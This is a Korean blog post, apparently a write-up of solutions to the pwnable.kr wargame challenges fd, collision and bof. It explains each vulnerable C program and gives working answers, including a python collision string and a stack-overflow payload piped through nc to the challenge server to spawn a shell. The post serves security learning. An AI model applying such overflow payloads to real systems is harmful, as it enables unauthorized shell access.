포스트

[pwnable] fd, collision, bof

pwnable, system hack

[pwnable] fd

1
$ cat fd.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

커맨드라인 argument로 들어온 숫자에서 0x1234를 빼서 fd로 지정한다.
기본적으로 프로세스에는 0(stdin), 1(stdout), 2(stderr)번 fd가 할당되기 때문에 [4660 or 4661 or 4662]를 입력하고, LETMEWIN을 입력하면 flag를 얻을 수 있다.

정답

1
2
./fd 4660
LETMEWIN


[pwnable] collision

1
$ cat col.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

hashcode가 4바이트이고, 총 20바이트의 문자열을 입력받아서 이를 4바이트씩 쪼갠 다음 모두 더해서 hashcode와 같게끔 만드는 문제이다.

입력 문자열을 잘 조합하여 입력하면 된다는 것을 알았지만,
(예: 6c5cec8 * 4 + 6c5cecc)
6c5cec8 혹은 6c5cecc를 커맨드라인으로 입력하는 방법을 생각하지 못하였다.

구글링 결과 파이썬 -c 옵션을 통해 해결할 수 있었다.

그리고 little endian 방식으로 작성해줘야한다. hashcode 가장 앞쪽의 21을 만들기 위해

1
\!\0\0\0

을 출력해보니 30303021이 나왔다.

정답

1
$ ./col `python -c 'print ("\xc8\xce\xc5\x06"*4+"\xcc\xce\xc5\x06")'`


[pwnable] bof

bof는 buffer overflow를 뜻한다.

우선 bof 바이너리를 실행해보니, i386 아키텍쳐 타겟의 바이너리인 것으로 보였다.

1
2
$ ./bof
qemu-i386: Could not open '/lib/ld-linux.so.2': No such file or directory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

gdb로 디스어셈블링을 해 보았다.

1
$ gdb ./bof

타겟 아키텍처 및 어셈블리어 형식을 지정하는 법은 다음과 같았다.

1
2
3
$ gdb ./bof
set architecture i386
set disassembly-flavor intel
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
disas func

   0x0000062c <+0>:		push   ebp
   0x0000062d <+1>:		mov    ebp,esp
   0x0000062f <+3>:		sub    esp,0x48
   0x00000632 <+6>:		mov    eax,gs:0x14
   0x00000638 <+12>:	mov    DWORD PTR [ebp-0xc],eax
   0x0000063b <+15>:	xor    eax,eax
   0x0000063d <+17>:	mov    DWORD PTR [esp],0x78c
   0x00000644 <+24>:	call   0x645 <func+25>
   0x00000649 <+29>:	lea    eax,[ebp-0x2c]
   0x0000064c <+32>:	mov    DWORD PTR [esp],eax
   0x0000064f <+35>:	call   0x650 <func+36>
   0x00000654 <+40>:	cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x0000065b <+47>:	jne    0x66b <func+63>
   0x0000065d <+49>:	mov    DWORD PTR [esp],0x79b
   0x00000664 <+56>:	call   0x665 <func+57>
   0x00000669 <+61>:	jmp    0x677 <func+75>
   0x0000066b <+63>:	mov    DWORD PTR [esp],0x7a3
   0x00000672 <+70>:	call   0x673 <func+71>
   0x00000677 <+75>:	mov    eax,DWORD PTR [ebp-0xc]
   0x0000067a <+78>:	xor    eax,DWORD PTR gs:0x14
   0x00000681 <+85>:	je     0x688 <func+92>
   0x00000683 <+87>:	call   0x684 <func+88>
   0x00000688 <+92>:	leave
   0x00000689 <+93>:	ret

첫번째 call은 printf를 call하는 것이고, 두번째 call을 보면,

1
2
3
0x00000649 <+29>:	lea    eax,[ebp-0x2c]
0x0000064c <+32>:	mov    DWORD PTR [esp],eax
0x0000064f <+35>:	call   0x650 <func+36>

[ebp-0x2c]의 주소를 esp(다음 호출될 함수의 첫번째 인자)로 넘긴 다음, 함수(gets)를 호출한다. 따라서 [ebp-0x2c]에 overflowme가 위치한 것을 확인할 수 있다.

1
0x00000654 <+40>:	cmp    DWORD PTR [ebp+0x8],0xcafebabe

위 행에서 key가 [ebp+0x8] 의 주소에 저장된 것을 알 수 있다.

[ebp-0x2c]와 [ebp+0x8]의 차이는 0x34, 52이므로 gets에서 52byte 만큼의 더미 데이터로 스택을 덮어씌우고 그 다음 0xcafebabe를 넣어주면 sh을 실행할 수 있다.

정답

1
(python -c 'print "A"*52 + "\xbe\xba\xfe\xca"';cat) | nc pwnable.kr 9000

혹은

1
(python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 52 + b"\xbe\xba\xfe\xca")';cat) | nc pwnable.kr 9000
이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.